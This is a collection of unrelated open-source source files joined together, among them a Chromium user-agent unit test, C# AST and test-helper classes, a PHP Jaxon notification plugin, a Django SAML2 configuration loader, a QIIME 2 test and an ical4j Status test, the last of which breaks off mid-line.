api->IsApiContractPresentByMajor(universal_contract_name.Get(), major_version + 1, &is_supported); EXPECT_EQ(result, S_OK); EXPECT_FALSE(is_supported) << " expected major version " << major_version + 1 << " to not be supported."; } #endif // defined(OS_WIN) } // namespace class UserAgentUtilsTest : public testing::Test, public testing::WithParamInterface<bool> { public: void SetUp() override { if (ForceMajorVersionTo100()) scoped_feature_list_.InitAndEnableFeature( blink::features::kForceMajorVersion100InUserAgent); } bool ForceMajorVersionTo100() { return GetParam(); } std::string M100VersionNumber() { const base::Version version = version_info::GetVersion(); std::string m100_version("100"); // The rest of the version after the major version string is the same. for (size_t i = 1; i < version.components().size(); ++i) { m100_version.append("."); m100_version.append(base::NumberToString(version.components()[i])); } return m100_version; } private: base::test::ScopedFeatureList scoped_feature_list_; }; INSTANTIATE_TEST_CASE_P(All, UserAgentUtilsTest, /*force_major_version_to_M100*/ testing::Bool()); TEST_P(UserAgentUtilsTest, UserAgentStringOrdering) { #if defined(OS_ANDROID) const char* const kArguments[] = {"chrome"}; base::test::ScopedCommandLine scoped_command_line; base::CommandLine* command_line = scoped_command_line.GetProcessCommandLine(); command_line->InitFromArgv(1, kArguments); // Do it for regular devices. ASSERT_FALSE(command_line->HasSwitch(switches::kUseMobileUserAgent)); CheckUserAgentStringOrdering(false); // Do it for mobile devices. command_line->AppendSwitch(switches::kUseMobileUserAgent); ASSERT_TRUE(command_line->HasSwitch(switches::kUseMobileUserAgent)); CheckUserAgentStringOrdering(true); #else CheckUserAgentStringOrdering(false); #endif } TEST_P(UserAgentUtilsTest, UserAgentStringReduced) { base::test::ScopedFeatureList scoped_feature_list; scoped_feature_list.InitAndEnableFeature(blink::features::kReduceUserAgent); #if defined(OS_ANDROID) // Verify the correct user agent is returned when the UseMobileUserAgent // command line flag is present. const char* const kArguments[] = {"chrome"}; base::test::ScopedCommandLine scoped_command_line; base::CommandLine* command_line = scoped_command_line.GetProcessCommandLine(); command_line->InitFromArgv(1, kArguments); const std::string major_version_number = version_info::GetMajorVersionNumber(); const char* const major_version = ForceMajorVersionTo100() ? "100" : major_version_number.c_str(); // Verify the mobile user agent string is not returned when not using a mobile // user agent. ASSERT_FALSE(command_line->HasSwitch(switches::kUseMobileUserAgent)); { std::string buffer = GetUserAgent(); std::string device_compat = ""; EXPECT_EQ(buffer, base::StringPrintf(content::frozen_user_agent_strings::kAndroid, content::GetUnifiedPlatform().c_str(), major_version, device_compat.c_str())); } // Verify the mobile user agent string is returned when using a mobile user // agent. command_line->AppendSwitch(switches::kUseMobileUserAgent); ASSERT_TRUE(command_line->HasSwitch(switches::kUseMobileUserAgent)); { std::string buffer = GetUserAgent(); std::string device_compat = "Mobile "; EXPECT_EQ(buffer, base::StringPrintf(content::frozen_user_agent_strings::kAndroid, content::GetUnifiedPlatform().c_str(), major_version, device_compat.c_str())); } #else { std::string buffer = GetUserAgent(); EXPECT_EQ(buffer, base::StringPrintf( content::frozen_user_agent_strings::kDesktop, content::GetUnifiedPlatform().c_str(), ForceMajorVersionTo100() ? "100" : version_info::GetMajorVersionNumber().c_str())); } #endif EXPECT_EQ(GetUserAgent(), GetReducedUserAgent()); } TEST_P(UserAgentUtilsTest, UserAgentMetadata) { auto metadata = GetUserAgentMetadata(); const std::string major_version = ForceMajorVersionTo100() ? "100" : version_info::GetMajorVersionNumber(); const std::string full_version = ForceMajorVersionTo100() ? M100VersionNumber() : version_info::GetVersionNumber(); // According to spec, Sec-CH-UA should contain what project the browser is // based on (i.e. Chromium in this case) as well as the actual product. // In CHROMIUM_BRANDING builds this will check chromium twice. That should be // ok though. const blink::UserAgentBrandVersion chromium_brand_version = {"Chromium", major_version}; const blink::UserAgentBrandVersion product_brand_version = { version_info::GetProductName(), major_version}; bool contains_chromium_brand_version = false; bool contains_product_brand_version = false; for (const auto& brand_version : metadata.brand_version_list) { if (brand_version == chromium_brand_version) { contains_chromium_brand_version = true; } if (brand_version == product_brand_version) { contains_product_brand_version = true; } } EXPECT_TRUE(contains_chromium_brand_version); EXPECT_TRUE(contains_product_brand_version); // verify full version list const blink::UserAgentBrandVersion chromium_brand_full_version = { "Chromium", full_version}; const blink::UserAgentBrandVersion product_brand_full_version = { version_info::GetProductName(), full_version}; bool contains_chromium_brand_full_version = false; bool contains_product_brand_full_version = false; for (const auto& brand_version : metadata.brand_full_version_list) { if (brand_version == chromium_brand_full_version) { contains_chromium_brand_full_version = true; } if (brand_version == product_brand_full_version) { contains_product_brand_full_version = true; } } EXPECT_TRUE(contains_chromium_brand_full_version); EXPECT_TRUE(contains_product_brand_full_version); EXPECT_EQ(metadata.full_version, full_version); #if defined(OS_WIN) if (base::win::GetVersion() < base::win::Version::WIN10) { EXPECT_EQ(metadata.platform_version, "0.0.0"); } else { VerifyWinPlatformVersion(metadata.platform_version); } #else int32_t major, minor, bugfix = 0; base::SysInfo::OperatingSystemVersionNumbers(&major, &minor, &bugfix); EXPECT_EQ(metadata.platform_version, base::StringPrintf("%d.%d.%d", major, minor, bugfix)); #endif // This makes sure no extra information is added to the platform version. EXPECT_EQ(metadata.platform_version.find(";"), std::string::npos); // TODO(crbug.com/1103047): This can be removed/re-refactored once we use // "macOS" by default #if defined(OS_MAC) EXPECT_EQ(metadata.platform, "macOS"); #else EXPECT_EQ(metadata.platform, version_info::GetOSType()); #endif EXPECT_EQ(metadata.architecture, content::GetLowEntropyCpuArchitecture()); EXPECT_EQ(metadata.model, content::BuildModelInfo()); EXPECT_EQ(metadata.bitness, content::GetLowEntropyCpuBitness()); } TEST_P(UserAgentUtilsTest, GenerateBrandVersionList) { blink::UserAgentMetadata metadata; metadata.brand_version_list = GenerateBrandVersionList( 84, absl::nullopt, "84", absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kMajorVersion); metadata.brand_full_version_list = GenerateBrandVersionList( 84, absl::nullopt, "84.0.0.0", absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kFullVersion); // 1. verify major version std::string brand_list = metadata.SerializeBrandMajorVersionList(); EXPECT_EQ(R"(" Not A;Brand";v="99", "Chromium";v="84")", brand_list); // 2. verify full version std::string brand_list_w_fv = metadata.SerializeBrandFullVersionList(); EXPECT_EQ(R"(" Not A;Brand";v="99.0.0.0", "Chromium";v="84.0.0.0")", brand_list_w_fv); metadata.brand_version_list = GenerateBrandVersionList( 85, absl::nullopt, "85", absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kMajorVersion); metadata.brand_full_version_list = GenerateBrandVersionList( 85, absl::nullopt, "85.0.0.0", absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kFullVersion); std::string brand_list_diff = metadata.SerializeBrandMajorVersionList(); // Make sure the lists are different for different seeds // 1. verify major version EXPECT_EQ(R"("Chromium";v="85", " Not;A Brand";v="99")", brand_list_diff); EXPECT_NE(brand_list, brand_list_diff); // 2.verify full version std::string brand_list_diff_w_fv = metadata.SerializeBrandFullVersionList(); EXPECT_EQ(R"("Chromium";v="85.0.0.0", " Not;A Brand";v="99.0.0.0")", brand_list_diff_w_fv); EXPECT_NE(brand_list_w_fv, brand_list_diff_w_fv); metadata.brand_version_list = GenerateBrandVersionList( 84, "Totally A Brand", "84", absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kMajorVersion); metadata.brand_full_version_list = GenerateBrandVersionList( 84, "Totally A Brand", "84.0.0.0", absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kFullVersion); // 1. verify major version std::string brand_list_w_brand = metadata.SerializeBrandMajorVersionList(); EXPECT_EQ( R"(" Not A;Brand";v="99", "Chromium";v="84", "Totally A Brand";v="84")", brand_list_w_brand); // 2. verify full version std::string brand_list_w_brand_fv = metadata.SerializeBrandFullVersionList(); EXPECT_EQ(base::StrCat({"\" Not A;Brand\";v=\"99.0.0.0\", ", "\"Chromium\";v=\"84.0.0.0\", ", "\"Totally A Brand\";v=\"84.0.0.0\""}), brand_list_w_brand_fv); metadata.brand_version_list = GenerateBrandVersionList( 84, absl::nullopt, "84", "Clean GREASE", absl::nullopt, true, blink::UserAgentBrandVersionType::kMajorVersion); metadata.brand_full_version_list = GenerateBrandVersionList( 84, absl::nullopt, "84.0.0.0", "Clean GREASE", absl::nullopt, true, blink::UserAgentBrandVersionType::kFullVersion); // 1. verify major version std::string brand_list_grease_override = metadata.SerializeBrandMajorVersionList(); EXPECT_EQ(R"("Clean GREASE";v="99", "Chromium";v="84")", brand_list_grease_override); EXPECT_NE(brand_list, brand_list_grease_override); // 2. verify full version std::string brand_list_grease_override_fv = metadata.SerializeBrandFullVersionList(); EXPECT_EQ(R"("Clean GREASE";v="99.0.0.0", "Chromium";v="84.0.0.0")", brand_list_grease_override_fv); EXPECT_NE(brand_list_w_fv, brand_list_grease_override_fv); metadata.brand_version_list = GenerateBrandVersionList( 84, absl::nullopt, "84", "Clean GREASE", "1024", true, blink::UserAgentBrandVersionType::kMajorVersion); metadata.brand_full_version_list = GenerateBrandVersionList( 84, absl::nullopt, "84.0.0.0", "Clean GREASE", "1024", true, blink::UserAgentBrandVersionType::kFullVersion); // 1. verify major version std::string brand_list_and_version_grease_override = metadata.SerializeBrandMajorVersionList(); EXPECT_EQ(R"("Clean GREASE";v="1024", "Chromium";v="84")", brand_list_and_version_grease_override); EXPECT_NE(brand_list, brand_list_and_version_grease_override); // 2. verify full version std::string brand_list_and_version_grease_override_fv = metadata.SerializeBrandFullVersionList(); EXPECT_EQ(R"("Clean GREASE";v="1024.0.0.0", "Chromium";v="84.0.0.0")", brand_list_and_version_grease_override_fv); EXPECT_NE(brand_list_w_fv, brand_list_and_version_grease_override_fv); metadata.brand_version_list = GenerateBrandVersionList( 84, absl::nullopt, "84", absl::nullopt, "1024", true, blink::UserAgentBrandVersionType::kMajorVersion); metadata.brand_full_version_list = GenerateBrandVersionList( 84, absl::nullopt, "84.0.0.0", absl::nullopt, "1024", true, blink::UserAgentBrandVersionType::kFullVersion); // 1. verify major version std::string brand_version_grease_override = metadata.SerializeBrandMajorVersionList(); EXPECT_EQ(R"(" Not A;Brand";v="1024", "Chromium";v="84")", brand_version_grease_override); EXPECT_NE(brand_list, brand_version_grease_override); // 2. verify full version std::string brand_version_grease_override_fv = metadata.SerializeBrandFullVersionList(); EXPECT_EQ(R"(" Not A;Brand";v="1024.0.0.0", "Chromium";v="84.0.0.0")", brand_version_grease_override_fv); EXPECT_NE(brand_list_w_fv, brand_version_grease_override_fv); // Should DCHECK on negative numbers EXPECT_DCHECK_DEATH(GenerateBrandVersionList( -1, absl::nullopt, "99", absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kMajorVersion)); EXPECT_DCHECK_DEATH(GenerateBrandVersionList( -1, absl::nullopt, "99.0.0.0", absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kFullVersion)); } TEST_P(UserAgentUtilsTest, GetGreasedUserAgentBrandVersion) { base::test::ScopedFeatureList scoped_feature_list; // Test to ensure the old algorithm is respected when the flag is not set. scoped_feature_list.InitAndEnableFeatureWithParameters( features::kGreaseUACH, {{"updated_algorithm", "false"}}); std::vector<int> permuted_order{0, 1, 2}; blink::UserAgentBrandVersion greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kMajorVersion); EXPECT_EQ(greased_bv.brand, " Not A;Brand"); EXPECT_EQ(greased_bv.version, "99"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kFullVersion); EXPECT_EQ(greased_bv.brand, " Not A;Brand"); EXPECT_EQ(greased_bv.version, "99.0.0.0"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, "WhatIsGrease", absl::nullopt, true, blink::UserAgentBrandVersionType::kMajorVersion); EXPECT_EQ(greased_bv.brand, "WhatIsGrease"); EXPECT_EQ(greased_bv.version, "99"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, "WhatIsGrease", absl::nullopt, true, blink::UserAgentBrandVersionType::kFullVersion); EXPECT_EQ(greased_bv.brand, "WhatIsGrease"); EXPECT_EQ(greased_bv.version, "99.0.0.0"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, absl::nullopt, "1024", true, blink::UserAgentBrandVersionType::kMajorVersion); EXPECT_EQ(greased_bv.brand, " Not A;Brand"); EXPECT_EQ(greased_bv.version, "1024"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, absl::nullopt, "1024", true, blink::UserAgentBrandVersionType::kFullVersion); EXPECT_EQ(greased_bv.brand, " Not A;Brand"); EXPECT_EQ(greased_bv.version, "1024.0.0.0"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, "WhatIsGrease", "1024", true, blink::UserAgentBrandVersionType::kMajorVersion); EXPECT_EQ(greased_bv.brand, "WhatIsGrease"); EXPECT_EQ(greased_bv.version, "1024"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, "WhatIsGrease", "1024", true, blink::UserAgentBrandVersionType::kFullVersion); EXPECT_EQ(greased_bv.brand, "WhatIsGrease"); EXPECT_EQ(greased_bv.version, "1024.0.0.0"); // Test to ensure the new algorithm works and is still overridable. scoped_feature_list.Reset(); scoped_feature_list.InitAndEnableFeatureWithParameters( features::kGreaseUACH, {{"updated_algorithm", "true"}}); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kMajorVersion); EXPECT_EQ(greased_bv.brand, "/Not=A?Brand"); EXPECT_EQ(greased_bv.version, "8"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kFullVersion); EXPECT_EQ(greased_bv.brand, "/Not=A?Brand"); EXPECT_EQ(greased_bv.version, "8.0.0.0"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, "WhatIsGrease", absl::nullopt, true, blink::UserAgentBrandVersionType::kMajorVersion); EXPECT_EQ(greased_bv.brand, "WhatIsGrease"); EXPECT_EQ(greased_bv.version, "8"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, "WhatIsGrease", absl::nullopt, true, blink::UserAgentBrandVersionType::kFullVersion); EXPECT_EQ(greased_bv.brand, "WhatIsGrease"); EXPECT_EQ(greased_bv.version, "8.0.0.0"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, absl::nullopt, "1024", true, blink::UserAgentBrandVersionType::kMajorVersion); EXPECT_EQ(greased_bv.brand, "/Not=A?Brand"); EXPECT_EQ(greased_bv.version, "1024"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, absl::nullopt, "1024", true, blink::UserAgentBrandVersionType::kFullVersion); EXPECT_EQ(greased_bv.brand, "/Not=A?Brand"); EXPECT_EQ(greased_bv.version, "1024.0.0.0"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, "WhatIsGrease", "1024", true, blink::UserAgentBrandVersionType::kMajorVersion); EXPECT_EQ(greased_bv.brand, "WhatIsGrease"); EXPECT_EQ(greased_bv.version, "1024"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, "WhatIsGrease", "1024", true, blink::UserAgentBrandVersionType::kFullVersion); EXPECT_EQ(greased_bv.brand, "WhatIsGrease"); EXPECT_EQ(greased_bv.version, "1024.0.0.0"); permuted_order = {2, 1, 0}; greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 86, absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kMajorVersion); EXPECT_EQ(greased_bv.brand, ";Not_A Brand"); EXPECT_EQ(greased_bv.version, "24"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 86, absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kFullVersion); EXPECT_EQ(greased_bv.brand, ";Not_A Brand"); EXPECT_EQ(greased_bv.version, "24.0.0.0"); // Test the greasy input with full version greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, absl::nullopt, "1024.0.0.0", true, blink::UserAgentBrandVersionType::kMajorVersion); EXPECT_EQ(greased_bv.brand, "/Not=A?Brand"); EXPECT_EQ(greased_bv.version, "1024"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, absl::nullopt, "1024.0.0.0", true, blink::UserAgentBrandVersionType::kFullVersion); EXPECT_EQ(greased_bv.brand, "/Not=A?Brand"); EXPECT_EQ(greased_bv.version, "1024.0.0.0"); // Ensure the enterprise override bool takes precedence over the command line // flag permuted_order = {0, 1, 2}; greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, absl::nullopt, absl::nullopt, false, blink::UserAgentBrandVersionType::kMajorVersion); EXPECT_EQ(greased_bv.brand, " Not A;Brand"); EXPECT_EQ(greased_bv.version, "99"); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, 84, absl::nullopt, absl::nullopt, false, blink::UserAgentBrandVersionType::kFullVersion); EXPECT_EQ(greased_bv.brand, " Not A;Brand"); EXPECT_EQ(greased_bv.version, "99.0.0.0"); // Go up to 110 based on the 11 total chars * 10 possible first chars. for (int i = 0; i < 110; i++) { // Regardless of the major version seed, the spec calls for no leading // whitespace in the brand. greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, i, absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kMajorVersion); EXPECT_NE(greased_bv.brand[0], ' '); greased_bv = GetGreasedUserAgentBrandVersion( permuted_order, i, absl::nullopt, absl::nullopt, true, blink::UserAgentBrandVersionType::kFullVersion); EXPECT_NE(greased_bv.brand[0], ' '); } } TEST_P(UserAgentUtilsTest, GetProduct) { const std::string product = GetProduct(); std::string major_version; EXPECT_TRUE( re2::RE2::FullMatch(product, kChromeProductVersionRegex, &major_version)); if (ForceMajorVersionTo100()) EXPECT_EQ(major_version, "100"); else EXPECT_EQ(major_version, version_info::GetMajorVersionNumber()); } TEST_P(UserAgentUtilsTest, GetUserAgent) { const std::string ua = GetUserAgent(); std::string major_version; std::string minor_version; EXPECT_TRUE(re2::RE2::PartialMatch(ua, kChromeProductVersionRegex, &major_version, &minor_version)); if (ForceMajorVersionTo100()) EXPECT_EQ(major_version, "100"); else EXPECT_EQ(major_version, version_info::GetMajorVersionNumber()); EXPECT_NE(minor_version, "0.0.0"); } } // namespace embedder_support
scheib/chromium
components/embedder_support/user_agent_utils_unittest.cc
C++
bsd-3-clause
31,704
namespace Esprima.Ast { /// <summary> /// A JavaScript expression. /// </summary> public abstract class Expression : StatementListItem { protected Expression(Nodes type) : base(type) { } } }
sebastienros/esprima-dotnet
src/Esprima/Ast/Expression.cs
C#
bsd-3-clause
243
// Copyright (c) 2011 Tall Ambitions, LLC // See included LICENSE for details. namespace Passive.Test.DynamicModelTests { using System; using System.Collections.Generic; using System.Dynamic; using System.Linq; internal class DynamicModelContext { private List<object> args; private Func<dynamic> function; private DynamicModel model; public DynamicModel Model { get { if (model == null) { throw new InvalidOperationException("No model has been set."); } return this.model; } set { this.model = value; } } public int? CurrentPage { get; set; } public int? PageSize { get; set; } public object Key { get; set; } public List<object> Args { get { return this.args = (this.args ?? new List<object>()); } set { this.args = value; } } public object Columns { get; set; } public int? Limit { get; set; } public string OrderBy { get; set; } public object Where { get; set; } public void SetMethod(string methodName) { switch (methodName.ToLowerInvariant()) { case "all": this.function = this.AllFunc; break; case "single": this.function = this.SingleFunc; break; case "paged": this.function = this.PagedFunc; break; default: throw new ArgumentException("Not a valid method name", methodName); } } public dynamic GetResult() { return this.function(); } private dynamic AllFunc() { dynamic d = new ExpandoObject(); d.Items = this.Model.All(this.Where, this.OrderBy, this.Limit ?? 0, this.Columns, this.GetArgs()); return d; } private dynamic PagedFunc() { return this.Model.Paged(this.Where, this.OrderBy, this.Columns, this.PageSize ?? 20, this.CurrentPage ?? 1, this.GetArgs()); } private dynamic SingleFunc() { dynamic d = new ExpandoObject(); d.Items = GetSingle(); return d; } private IEnumerable<dynamic> GetSingle() { var result = this.Model.Single(this.Key, this.Where, this.Columns, this.GetArgs()); if (result != null) { yield return result; } } private object[] GetArgs() { return this.Args.Any() ? this.Args.ToArray() : null; } } }
Talljoe/Passive
Passive.Test/DynamicModelTests/DynamicModelContext.cs
C#
bsd-3-clause
2,884
<?php /** * Plugin.php - Adapter for the Notify library. * * @package jaxon-dialogs * @author Thierry Feuzeu <thierry.feuzeu@gmail.com> * @copyright 2016 Thierry Feuzeu <thierry.feuzeu@gmail.com> * @license https://opensource.org/licenses/BSD-3-Clause BSD 3-Clause License * @link https://github.com/jaxon-php/jaxon-dialogs */ namespace Jaxon\Dialogs\Libraries\Notify; use Jaxon\Dialogs\Libraries\Library; use Jaxon\Dialogs\Contracts\Modal; use Jaxon\Contracts\Dialogs\Message; use Jaxon\Contracts\Dialogs\Question; class Plugin extends Library implements Message { use \Jaxon\Features\Dialogs\Message; /** * The constructor */ public function __construct() { parent::__construct('notify', '0.4.2'); } /** * @inheritDoc */ public function getJs(): string { return $this->getJsCode('notify.js'); } /** * @inheritDoc */ public function getScript(): string { return $this->render('notify/alert.js'); } /** * @inheritDoc */ public function getReadyScript(): string { return $this->render('notify/ready.js.php'); } /** * Print an alert message. * * @param string $sMessage The text of the message * @param string $sTitle The title of the message * @param string $sClass The type of the message * * @return string */ protected function alert(string $sMessage, string $sTitle, string $sClass): string { if($this->getReturn()) { return "$.notify(" . $sMessage . ", {className:'" . $sClass . "', position:'top center'})"; } $aOptions = array('message' => $sMessage, 'className' => $sClass); // Show the alert $this->addCommand(array('cmd' => 'notify.alert'), $aOptions); return ''; } /** * @inheritDoc */ public function success(string $sMessage, string $sTitle = ''): string { return $this->alert($sMessage, $sTitle, 'success'); } /** * @inheritDoc */ public function info(string $sMessage, string $sTitle = ''): string { return $this->alert($sMessage, $sTitle, 'info'); } /** * @inheritDoc */ public function warning(string $sMessage, string $sTitle = ''): string { return $this->alert($sMessage, $sTitle, 'warn'); } /** * @inheritDoc */ public function error(string $sMessage, string $sTitle = ''): string { return $this->alert($sMessage, $sTitle, 'error'); } }
jaxon-php/jaxon-dialogs
src/Libraries/Notify/Plugin.php
PHP
bsd-3-clause
2,659
""" Django Settings that more closely resemble SAML Metadata. Detailed discussion is in doc/SETTINGS_AND_METADATA.txt. """ from django.conf import settings from django.core.exceptions import ImproperlyConfigured from django.utils.importlib import import_module def get_metadata_config(request): """ Get Metadata based on configuration in settings. Options are: - SAML2IDP_REMOTES & SAML2IDP_CONFIG present in settings - SAML2IDP_CONFIG_FUNCTION will be used to get REMOTES and CONFIG per request. Dynamic way of loading configuration. :return: Tuple holding SAML2IDP_CONFIG, SAML2IDP_REMOTES """ if hasattr(settings, 'SAML2IDP_CONFIG_FUNCTION'): # We have a dynamic configuration. config_func = import_function_from_str( settings.SAML2IDP_CONFIG_FUNCTION) if not config_func: raise ImproperlyConfigured( 'Cannot import SAML2IDP_CONFIG_FUNCTION') # Return SAML2IDP_CONFIG & SAML2IDP_REMOTES return config_func(request) elif (hasattr(settings, 'SAML2IDP_CONFIG') and hasattr(settings, 'SAML2IDP_REMOTES')): # We have static configuration! return settings.SAML2IDP_CONFIG, settings.SAML2IDP_REMOTES raise ImproperlyConfigured('Cannot load SAML2IDP configuration!') def import_function_from_str(func): """ Import function from string. :param func: Can be a string or a function """ if isinstance(func, str): # function supplied as a string mod_str, _, func_str = func.rpartition('.') try: mod = import_module(mod_str) return getattr(mod, func_str) except: return None return func
Awingu/django-saml2-idp
saml2idp/saml2idp_metadata.py
Python
bsd-3-clause
1,746
# ---------------------------------------------------------------------------- # Copyright (c) 2016-2020, QIIME 2 development team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file LICENSE, distributed with this software. # ---------------------------------------------------------------------------- import unittest import qiime2 import qiime2.sdk class TestUtil(unittest.TestCase): def test_artifact_actions(self): obs = qiime2.sdk.util.actions_by_input_type(None) self.assertEqual(obs, []) # For simplicity, we are gonna test the names of the plugin and # the actions obs = [(x.name, [yy.name for yy in y]) for x, y in qiime2.sdk.util.actions_by_input_type('SingleInt')] exp = [('dummy-plugin', [ 'Do stuff normally, but override this one step sometimes'])] self.assertEqual(obs, exp) obs = [(x.name, [yy.name for yy in y]) for x, y in qiime2.sdk.util.actions_by_input_type( 'Kennel[Cat]')] self.assertEqual(obs, []) obs = [(x.name, [yy.name for yy in y]) for x, y in qiime2.sdk.util.actions_by_input_type( 'IntSequence1')] exp = [('dummy-plugin', [ 'A typical pipeline with the potential to raise an error', 'Concatenate integers', 'Identity', 'Identity', 'Identity', 'Do a great many things', 'Identity', 'Identity', 'Identity', 'Visualize most common integers', 'Split sequence of integers in half', 'Test different ways of failing', 'Optional artifacts method', 'Do stuff normally, but override this one step sometimes'])] self.assertEqual(len(obs), 1) self.assertEqual(obs[0][0], exp[0][0]) self.assertCountEqual(obs[0][1], exp[0][1]) if __name__ == '__main__': unittest.main()
thermokarst/qiime2
qiime2/sdk/tests/test_util.py
Python
bsd-3-clause
1,934
/** * Copyright (c) 2011, Ben Fortuna * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * o Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * o Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * o Neither the name of Ben Fortuna nor the names of any other contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package net.fortuna.ical4j.model.property; import java.text.ParseException; import junit.framework.TestSuite; import net.fortuna.ical4j.model.PropertyTest; /** * $Id$ * * Created on: 24/11/2008 * * @author fortuna */ public class StatusTest extends PropertyTest { /** * @param property * @param expectedValue */ public StatusTest(Status status, String expectedValue) { super(status, expectedValue); } /** * @param testMethod * @param property */ public StatusTest(String testMethod, Status property) { super(testMethod, property); } /** * @return * @throws ParseException */ public static TestSuite suite() { TestSuite suite = new TestSuite(); suite.addTest(new StatusTest(Status.VEVENT_CANCELLED, "CANCELLED")); suite.addTest(new StatusTest(Status.VEVENT_CONFIRMED, "CONFIRMED")); suite.addTest(new StatusTest(Status.VEVENT_TENTATIVE, "TENTATIVE")); suite.addTest(new StatusTest(Status.VJOURNAL_CANCELLED, "CANCELLED")); suite.addTest(new StatusTest(Status.VJOURNAL_DRAFT, "DRAFT")); suite.addTest(new StatusTest(Status.VJOURNAL_FINAL, "FINAL")); suite.addTest(new StatusTest(Status.VTODO_CANCELLED, "CANCELLED")); suite.addTest(new StatusTest(Status.VTODO_COMPLETED, "COMPLETED")); suite.addTest(new StatusTest(Status.VTODO_IN_PROCESS, "IN-PROCESS")); suite.addTest(new StatusTest(Status.VTODO_NEEDS_ACTION, "NEEDS-ACTION")); suite.addTest(new StatusTest("testValidation", Status.VEVENT_CANCELLED)); suite.addTest(new StatusTest("testValidation", Status.VEVENT_CONFIRMED)); suite.addTest(new StatusTest("testValidation", Status.VEVENT_TENTATIVE)); suite.addTest(new StatusTest("testValidation", Status.VJOURNAL_CANCELLED)); suite.addTest(new StatusTest("testValidation", Status.VJOURNAL_DRAFT)); suite.addTest(new StatusTest("testValidation", Status.VJOURNAL_FINAL)); suite.addTest(new StatusTest("testValidation", Status.VTODO_CANCELLED)); suite.addTest(new StatusTest("testValidation", Status.VTODO_COMPLETED)); suite.addTest(new StatusTest("testValidation", Status.VTODO_IN_PROCESS)); suite.addTest(new StatusTest("testValidation", Status.VTODO_NEEDS_ACTION)); suite.addTest(new StatusTest("testEquals", Status.VEVENT_CANCELLED)); suite.addTest(new StatusTest("testEquals", Status.VEVENT_CONFIRMED)); suite.addTest(new StatusTest("testEquals", Status.VEVENT_TENTATIVE)); suite.addTest(new StatusTest("testEquals", Status.VJOURNAL_CANCELLED)); suite.addTest(new StatusTest("testEquals", Status.VJOURNAL_DRAFT)); suite.addTest(new StatusTest("testEquals", Status.VJOURNAL_FINAL)); suite.addTest(new StatusTest("testEquals", Status.VTODO_CANCELLED)); suite.addTest(new StatusTest("testEquals", Status.VTODO_COMPLETED)); suite.addTest(new StatusTest("testEquals", Status.VTODO_IN_PROCESS)); suite.addTest(new StatusTest("testEquals", Status.VTODO_NEEDS_ACTION)); suite.addTest(new StatusTest("testImmutable", Status.VEVENT_CANCELLED)); suite.addTest(new StatusTest("testImmutable", Status.VEVENT_CONFIRMED)); suite.addTest(new StatusTest("testImmutable", Status.VEVENT_TENTATIVE)); suite.addTest(new StatusTest("testImmutable", Status.VJOURNAL_CANCELLED)); suite.addTest(new StatusTest("testImmutable", Status.VJOURNAL_DRAFT)); suite.addTest(new StatusTest("testImmutable", Status.VJOURNAL_FINAL)); suite.addTest(new StatusTest("testImmutable", 